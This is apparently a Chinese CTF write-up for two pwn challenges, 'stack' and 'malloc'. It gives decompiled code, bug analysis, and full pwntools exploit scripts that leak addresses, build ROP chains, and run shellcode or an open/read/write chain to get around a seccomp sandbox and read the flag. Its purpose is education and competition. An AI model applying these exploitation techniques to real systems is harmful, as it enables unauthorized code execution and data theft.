# stack

## Information

- Category: Pwn
- Points: 500

## Description

> 听说你很喜欢栈溢出？

## Write-up

虽然逻辑很简单，但是还是先让 MCP 先分析一下逻辑，重命名一下变量名。得到如下程序
：

```c
__int64 init()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  *(_QWORD *)&random_seed = time(0);
  srand(random_seed);
  for ( n2 = 0; n2 <= 2; n2 = rand() % 5 )
    ;
  main_addr_multiplied = (_QWORD)main * n2;
  global_buffer = malloc(0x1000u);
  sub_1396();
  memset(global_buffer, 0, 0x2000u);
  global_buffer = (char *)global_buffer - 672;
  buffer_ptr_offset = (__int64)global_buffer + 256;
  *((_QWORD *)global_buffer + 32) = (char *)global_buffer + 4096;
  *(_QWORD *)(buffer_ptr_offset + 8) = sub_132E;
  counter_n2 = 0;
  return 0;
}
```

上面这个 `init` 函数里的 `sub_1396` 开了沙箱，禁用了 `open` 和 `execve`，第一反
应是打 orw 。可以用 `openat` 代替 `open`，然后 `sendfile` 可以 `read`，`write` 
一把梭。

_PS: 一开始我还注意到程序有 `syscall` gadget，结合 read 我觉得打 SROP 也可以，不
过想着可能还需要栈迁移？好久没做过 SROP 了不知道行不行，就用上面那个看上去更稳妥
的办法了。_

```c
__int64 vuln()
{
  puts("Welcome to YCB2025!");
  puts("Good luck!");
  read(0, global_buffer, 0x2000u);
  if ( (unsigned __int64)counter_n2 > 2 )
  {
    puts("Bye~");
    exit(0);
  }
  ++counter_n2;
  return 0;
}
```

下面有个后门函数，MCP 重命名了变量名叫 `main_addr_multiplied`，盲猜这个地址保存
的就是 main 函数地址乘以一个随机数了，可以先返回到这里泄漏出来然后随便除几个数字
试试看能不能得到 main 的地址，也可以自己看伪代码，判断一下可能除了什么数，我当时
是猜的，因为数字很小，随便试了下就出来了。

```c
// positive sp value has been detected, the output may be wrong!
__int64 sub_1357()
{
  printf("magic number:%lldn", main_addr_multiplied);
  return vuln();
}
```

后来研究了一下，发现是在 `init` 里设置的乘什么数，结果范围是 $[3, 4]$：

```c
  for ( n2 = 0; n2 <= 2; n2 = rand() % 5 )
    ;
  main_addr_multiplied = (_QWORD)main * n2;
```

由于没有控制 rdi 的 gadgets, 得去看看程序里面有没有可以利用的汇编片段，发现下面
这个函数比较奇怪，使用了 `stdout` 的地址赋值，一般情况下 `stdout` 里面保存的是 l
ibc 地址。

```c
FILE **sub_12C9()
{
  FILE **result; // rax

  result = (FILE **)qword_4090;
  if ( !qword_4090 )
  {
    qword_4090 = 1;
    p_stdout = (__int64)&stdout;
    return &stdout;
  }
  return result;
}
```

再看一下它的汇编：

```c {10-13} showLineNumbers=false
.text:00000000000012C9 ; FILE **sub_12C9()
.text:00000000000012C9 sub_12C9        proc near
.text:00000000000012C9 ; __unwind {
.text:00000000000012C9                 endbr64
.text:00000000000012CD                 sub     rsp, 8
.text:00000000000012D1                 mov     rax, cs:qword_4090
.text:00000000000012D8                 test    rax, rax
.text:00000000000012DB                 jnz     short loc_1329
.text:00000000000012DD                 mov     cs:qword_4090, 1
.text:00000000000012E8                 lea     rax, stdout
.text:00000000000012EF                 mov     cs:p_stdout, rax
.text:00000000000012F6                 mov     rax, cs:p_stdout
.text:00000000000012FD                 lea     rdx, stdout     ; rtld_fini
.text:0000000000001304                 cmp     rax, rdx
.text:0000000000001307                 jnz     short loc_1312
.text:0000000000001309                 mov     rax, cs:p_stdout
.text:0000000000001310                 jmp     short loc_1329
.text:0000000000001312 ; -------------------------------------------------------
--------------------
.text:0000000000001312
.text:0000000000001312 loc_1312:                               ; CODE XREF: sub_
12C9+3E↑j
.text:0000000000001312                 mov     cs:qword_4090, 0FFFFFFFFFFFFFFFFh
.text:000000000000131D                 call    start
.text:0000000000001322 ; -------------------------------------------------------
--------------------
.text:0000000000001322                 mov     eax, 0
.text:0000000000001327                 jmp     short $+2
.text:0000000000001329 ; -------------------------------------------------------
--------------------
.text:0000000000001329
.text:0000000000001329 loc_1329:                               ; CODE XREF: sub_
12C9+12↑j
.text:0000000000001329                                         ; sub_12C9+47↑j .
..
.text:0000000000001329                 add     rsp, 8
.text:000000000000132D                 retn
.text:000000000000132D ; } // starts at 12C9
```

上面给 `rax`, `rdx` 都赋值了 `stdout` 地址，所以 `cmp` 不进 `jnz`，直接返回。

泄漏了这个地址就可以去泄漏 libc 地址了，看到有 `puts`，那想办法把 rax 里面的值给
到 rdi 然后调用 `puts` 就行。

注意到 `puts` 的传参是用的 rax，此外，程序有多处 `puts` 的交叉引用，找一个能用的
就行：

```c {8-9} showLineNumbers=false
.text:000000000000161F ; __int64 vuln()
.text:000000000000161F vuln            proc near               ; CODE XREF: sub_
1357+32↑p
.text:000000000000161F                                         ; main+17↓p
.text:000000000000161F ; __unwind {
.text:000000000000161F                 endbr64
.text:0000000000001623                 push    rbp
.text:0000000000001624                 lea     rax, aWelcomeToYcb20 ; "Welcome t
o YCB2025!"
.text:000000000000162B                 mov     rdi, rax        ; s
.text:000000000000162E                 call    _puts
.text:0000000000001633                 lea     rax, aGoodLuck  ; "Good luck!"
.text:000000000000163A                 mov     rdi, rax        ; s
.text:000000000000163D                 call    _puts
.text:0000000000001642                 mov     rax, cs:global_buffer
.text:0000000000001649                 mov     edx, 2000h      ; nbytes
.text:000000000000164E                 mov     rsi, rax        ; buf
.text:0000000000001651                 mov     edi, 0          ; fd
.text:0000000000001656                 call    _read
.text:000000000000165B                 mov     rax, cs:counter_n2
.text:0000000000001662                 cmp     rax, 2
.text:0000000000001666                 jbe     short loc_1681
.text:0000000000001668                 lea     rax, aBye_0     ; "Bye~"
.text:000000000000166F                 mov     rdi, rax        ; s
.text:0000000000001672                 call    _puts
.text:0000000000001677                 mov     edi, 0          ; status
.text:000000000000167C                 call    _exit
```

上面这个 puts 执行完还能再执行一次 read，这次构造 `mprotect` 设置 bss 可执行，然
后再来一个 `read` 把 shellcode 读到 bss，然后返回到 bss 就好了。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "./Stack_Over_Flow"
HOST, PORT = "45.40.247.139", 25201

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x108,
        b"x5f",
    )
    # raw_input("DEBUG")
    target.sendafter(b"Good luck!", payload)

    target.recvuntil(b"magic number:")
    elf.address = (int(target.recvline().strip()) // 3) - 0x16B0
    target.success(f"pie: {hex(elf.address)}")

    control_rdi = elf.address + 0x12E8
    payload = flat(
        b"A" * 0x108,
        control_rdi,
        0,
        elf.address + 0x162B,  # puts
    )
    # raw_input("DEBUG")
    target.sendafter(b"Good luck!", payload)

    target.recvline()
    libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B78
0
    target.success(f"libc: {hex(libc.address)}")

    rop = ROP(libc)
    payload = flat(
        b"A" * 0x108,
        # mprotect
        libc.address + 0x378DF,  # nop; ret
        libc.address + 0x378DF,  # nop; ret
        rop.rdi.address,
        elf.address + 0x4000,
        rop.rsi.address,
        0x1337,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x7,
        0,
        rop.rax.address,
        0xA,
        rop.find_gadget(["syscall", "ret"])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        elf.bss() + 0x500,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x1337,
        0,
        rop.rax.address,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        elf.bss() + 0x500,
    )

    raw_input("DEBUG")
    target.sendafter(b"Good luck!", payload)

    payload = asm("""
        mov rax, 0x67616c66
        push rax
        xor edi, edi
        sub edi, 100
        mov rsi, rsp
        xor edx, edx
        xor r10, r10
        mov eax, 0x101
        syscall

        mov edi, 1
        mov esi, 3
        push 0
        mov rdx, rsp
        mov r10, 0x1337
        mov rax, 0x28
        syscall
    """)
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`DASCTF{86480848618847093058521417023694}`]

# malloc

## Information

- Category: Pwn
- Points: 500

## Description

> 我再也不做堆了

## Write-up

题目实现了自定义的 `malloc` 和 `free`，在 `create` 函数中，可以申请的 `chunk_idx
` 的最大值是 `0x10`，`chunk_pointers` 数组只能存储 16 个 QWORD（索引 0-15）。调
试发现，当 `chunk_idx` 为 `0x10` 时，malloc 会破坏 `g_chunk_sizes[0]`。

这里简单贴一下几个函数的逆向结果吧：

```c
__int64 init()
{
  int i; // [rsp+4h] [rbp-Ch]
  __int64 seccomp_ctx; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  g_arena_top = (__int64)&g_heap_base;
  g_heap_size_limit = 4096;
  g_current_heap_offset = 4096;
  for ( i = 0; i <= 15; ++i )
    g_freelists[i] = 0;
  seccomp_ctx = seccomp_init(2147418112);
  seccomp_rule_add(seccomp_ctx, 0, 59, 0);
  seccomp_rule_add(seccomp_ctx, 0, 322, 0);
  return seccomp_load(seccomp_ctx);
}
```

```c
unsigned __int64 create()
{
  unsigned int chunk_idx_1; // ebx
  char newline_char; // [rsp+Fh] [rbp-21h] BYREF
  unsigned int chunk_idx; // [rsp+10h] [rbp-20h] BYREF
  unsigned int chunk_size; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-18h]

  canary = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10
    && (puts("size"), __isoc99_scanf("%u%c", &chunk_size, &newline_char), chunk_
size <= 0x70)
    && chunk_size > 0xF )
  {
    chunk_idx_1 = chunk_idx;
    *((_QWORD *)&g_heap_base + chunk_idx_1 + 512) = do_malloc(chunk_size);
    *((_QWORD *)&g_heap_base + chunk_idx + 528) = chunk_size;
    puts("Success");
  }
  else
  {
    puts("Invalid");
  }
  return canary - __readfsqword(0x28u);
}
```

```c
__int64 __fastcall do_malloc(unsigned int requested_size)
{
  signed int aligned_size; // [rsp+1Ch] [rbp-14h]
  unsigned int remainder_size; // [rsp+20h] [rbp-10h]
  int freelist_idx; // [rsp+24h] [rbp-Ch]
  __int64 allocated_chunk; // [rsp+28h] [rbp-8h]
  __int64 g_arena_top; // [rsp+28h] [rbp-8h]

  remainder_size = requested_size & 0xF;
  if ( remainder_size > 8 )
    aligned_size = requested_size - remainder_size + 32;
  else
    aligned_size = requested_size - remainder_size + 16;
  freelist_idx = aligned_size / 16;
  if ( g_freelists[aligned_size / 16] )
  {
    allocated_chunk = g_freelists[freelist_idx];
    g_freelists[freelist_idx] = *(_QWORD *)(allocated_chunk + 16);
    *(_BYTE *)allocated_chunk = 1;
    return allocated_chunk + 16;
  }
  else
  {
    if ( aligned_size >= (unsigned __int64)g_heap_size_limit )
    {
      puts("malloc(): corrupted top chunks");
      exit(0);
    }
    g_arena_top = g_arena_top;
    *(_BYTE *)g_arena_top = 1;
    *(_DWORD *)(g_arena_top + 8) = aligned_size;
    g_arena_top += aligned_size;
    g_heap_size_limit -= aligned_size;
    *(_DWORD *)(g_arena_top + 8) = g_heap_size_limit;
    return g_arena_top + 16;
  }
}
```

```c
unsigned __int64 delete()
{
  char newline_char; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10 )
  {
    do_free(chunk_idx);
    *((_QWORD *)&g_heap_base + chunk_idx + 528) = 0;
    puts("Success");
  }
  else
  {
    puts("Invalid index");
  }
  return canary - __readfsqword(0x28u);
}
```

```c
__int64 __fastcall do_free(unsigned int chunk_idx)
{
  int chunk_size_val; // kr08_4
  __int64 chunk_header_ptr_2; // rax
  int freelist_walk_count; // [rsp+14h] [rbp-1Ch]
  __int64 chunk_header_ptr_1; // [rsp+20h] [rbp-10h]
  _BYTE *chunk_header_ptr; // [rsp+28h] [rbp-8h]

  chunk_header_ptr = (_BYTE *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 16L
L);
  chunk_size_val = *(_DWORD *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 8LL
);
  **((_QWORD **)&g_heap_base + chunk_idx + 512) = g_freelists[chunk_size_val / 1
6];
  g_freelists[chunk_size_val / 16] = chunk_header_ptr;
  *chunk_header_ptr = 0;
  freelist_walk_count = 0;
  chunk_header_ptr_2 = *(_QWORD *)(g_freelists[chunk_size_val / 16] + 16LL);
  chunk_header_ptr_1 = chunk_header_ptr_2;
  while ( freelist_walk_count <= 13 && chunk_header_ptr_1 )
  {
    if ( (_BYTE *)chunk_header_ptr_1 == chunk_header_ptr )
    {
      puts("free(): double free or corruption (fast)");
      exit(0);
    }
    chunk_header_ptr_2 = *(_QWORD *)(chunk_header_ptr_1 + 16);
    chunk_header_ptr_1 = chunk_header_ptr_2;
    ++freelist_walk_count;
  }
  return chunk_header_ptr_2;
}
```

```c
unsigned __int64 edit()
{
  char newline_char; // [rsp+Fh] [rbp-11h] BYREF
  unsigned int chunk_idx; // [rsp+10h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+14h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10
    && *((_QWORD *)&g_heap_base + chunk_idx + 512)
    && (puts("size"),
        __isoc99_scanf("%u%c", nbytes, &newline_char),
        nbytes[0] <= *((__int64 *)&g_heap_base + chunk_idx + 528)) )
  {
    read(0, *((void **)&g_heap_base + chunk_idx + 512), nbytes[0]);
    puts("Success");
  }
  else
  {
    puts("Invalid");
  }
  return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u);
}
```

```c
unsigned __int64 show()
{
  char newline_char; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) )
  {
    puts(*((const char **)&g_heap_base + chunk_idx + 512));
    puts("Success");
  }
  else
  {
    puts("Invalid index");
  }
  return canary - __readfsqword(0x28u);
}
```

```asm showLineNumbers=false
.data:0000000000004008 ; void *off_4008
.data:0000000000004008 off_4008        dq offset off_4008      ; DATA XREF: sub_
1200+1B↑r
.data:0000000000004008                                         ; .data:off_4008↓
o
.data:0000000000004010                 align 20h
.data:0000000000004020 g_arena_top     dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: init
+6D↑w
.data:0000000000004020                                         ; init+7F↑r ...
.data:0000000000004028 g_heap_size_limit dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init
+74↑w
.data:0000000000004028                                         ; do_malloc+D1↑r 
...
.data:0000000000004030                 align 20h
.data:0000000000004040 ; _QWORD g_freelists[16]
.data:0000000000004040 g_freelists     dq 0FFFFFFFFFFFFFFFFh, 0Fh dup(0)
.data:0000000000004040                                         ; DATA XREF: init
+A6↑o
.data:0000000000004040                                         ; do_malloc+56↑o 
...
.data:0000000000004040 _data           ends
.data:0000000000004040
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./pwn_patched"
HOST, PORT = "45.40.247.139", 17742

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def menu(option):
    target.recvuntil(b"=======================")
    target.sendline(str(option).encode())


def create(idx, size):
    menu(1)
    target.sendlineafter(b"Index", str(idx).encode())
    target.sendlineafter(b"size", str(size).encode())
    target.recvlines(2)


def delete(idx):
    menu(2)
    target.sendlineafter(b"Index", str(idx).encode())
    target.recvlines(2)


def edit(idx, size, data):
    menu(3)
    target.sendlineafter(b"Index", str(idx).encode())
    target.sendlineafter(b"size", str(size).encode())
    target.sendline(data)


def show(idx):
    menu(4)
    target.sendlineafter(b"Index", str(idx).encode())


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    create(0, 0x70)
    create(1, 0x70)
    delete(1)
    delete(0)

    # raw_input("DEBUG")
    show(0)
    target.recvline()
    elf.address = int.from_bytes(target.recvline().strip(), "little") - 0x5280

    stderr = elf.address + 0x40E0
    arr = elf.address + 0x6200

    target.success(f"pie: {hex(elf.address)}")
    target.success(f"arr: {hex(arr)}")
    target.success(f"stderr: {hex(stderr)}")

    create(0, 0x70)
    create(1, 0x70)
    delete(0)
    delete(1)
    # raw_input("DEBUG")
    create(0x10, 0x70)
    edit(0, 0x10, flat(stderr - 0x40))

    # raw_input("DEBUG")
    create(0, 0x70)
    create(2, 0x70)

    edit(2, 0x10, b"A" * 15)
    show(2)
    target.recvlines(2)
    libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B78
0
    target.success(f"libc: {hex(libc.address)}")

    create(3, 0x70)
    delete(0)
    delete(3)
    create(0x10, 0x70)
    edit(0, 0x10, flat(libc.sym["environ"] - 0x20))

    create(0, 0x70)
    create(4, 0x70)
    edit(4, 0x10, b"A" * 15)
    show(4)

    target.recvline()
    target.recvline()
    stack = int.from_bytes(target.recvline().strip(), "little")
    ret = stack - 0x140
    target.success(f"stack: {hex(stack)}")
    target.success(f"ret: {hex(ret)}")

    create(5, 0x70)
    delete(0)
    delete(5)
    create(0x10, 0x70)
    edit(0, 0x10, flat(ret - 0xA0))

    create(5, 0x70)
    create(0, 0x70)
    create(0x10, 0x70)

    edit(5, 0x10, b"flagx00x00x00x00")

    flag = elf.address + 0x5210

    rop = ROP(libc)
    payload = flat(
        # open
        rop.rax.address,
        2,
        rop.rdi.address,
        flag,
        rop.rsi.address,
        0,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        # read
        rop.rax.address,
        0,
        rop.rdi.address,
        3,
        rop.rsi.address,
        flag,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x100,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        # write
        rop.rax.address,
        1,
        rop.rdi.address,
        1,
        rop.rsi.address,
        flag,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x100,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
    )

    raw_input("DEBUG")
    edit(
        0,
        0x200,
        b"A" * 0x60 + payload,
    )

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`DASCTF{21569291958017220875601963459603}`]

# 赛后 bb

感觉这比赛题很难评啊，一道 stack 一道 malloc，两道题没一个能 patch 后在我机器上
跑的……一直报错 `./libc.so.6: version 'GLIBC_ABI_DT_RELR' not found (required by 
/usr/lib/libseccomp.so.2)`，怀疑是我 glibc 版本太高了的原因？问运维，告诉我好像
全场就我一个人不能跑附件，我？？？？？？？被制裁了（

后来光折腾 docker pwn 环境就花了好几个小时，比赛开始 5 小时后我才刚把题目跑起来
，上午问运维要 Dockerfile 下午才拿到，最后发现也没啥用，还得配虚拟机。玛德，这个
世界对 archlinux 用户充满了恶意，最后我是用 pwndocker + 零配置的 vim 写的这两题
的 exp，别提有多痛苦了……

另外，国内的比赛都是 p 神争霸赛吗，看麻了，非人 vm 题短时间内 30 多解，哥们用 MC
P 逆向都逆半天没逆出来，逆向完了还得看半天，怎么做到的？……